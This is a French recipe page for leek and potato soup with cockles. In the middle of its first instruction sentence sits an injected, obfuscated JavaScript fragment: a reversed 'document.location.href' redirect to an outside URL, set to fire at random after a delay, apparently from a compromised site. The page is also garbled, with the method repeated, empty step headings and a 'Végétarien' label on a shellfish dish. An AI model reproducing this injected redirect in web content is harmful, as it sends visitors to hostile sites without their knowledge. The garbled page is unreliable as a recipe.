Soupe de poireaux pommes de terre aux coques
2021-05-07- Thématique : Végétarien
- Niveau : Facile
Rincez, émincez les poireaux. Pelez, rincez, coupez en cubes les pommes de terre. Dans une cocotte avec 2 cuillères à soupe d’huile d’arachide, faites revenir les oignons hachés tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, jusqu’à obtenir une légère coloration. Ajoutez les poireaux, les pommes de terre.
Ingrédients
Rincez, émincez les poireaux. Pelez, rincez, coupez en cubes les pommes de terre. Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, faites revenir les oignons hachés tout en remuant, jusqu'à obtenir une légère coloration. Ajoutez les poireaux, les pommes de terre. Mouillez avec 2 litres d'eau, salez et poivrez. Portez à ébullition et faites cuire pendant 30 minutes. Pendant ce temps dans un autre récipient versez le vin blanc, le bouquet garni, du poivre. Portez à ébullition et plongez les coques, faites cuire à couvert.
Quand elles sont ouvertes, retirez-les en filtrant le jus de cuisson. Décortiquez-les et réservez. Mixez la soupe de légumes, ajouter la crème fraîche, le jus des coques, remettez sur feu doux tout en remuant.
Au premier frémissement répartissez dans chaque assiette, parsemez de cerfeuil haché puis servez bien chaud.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
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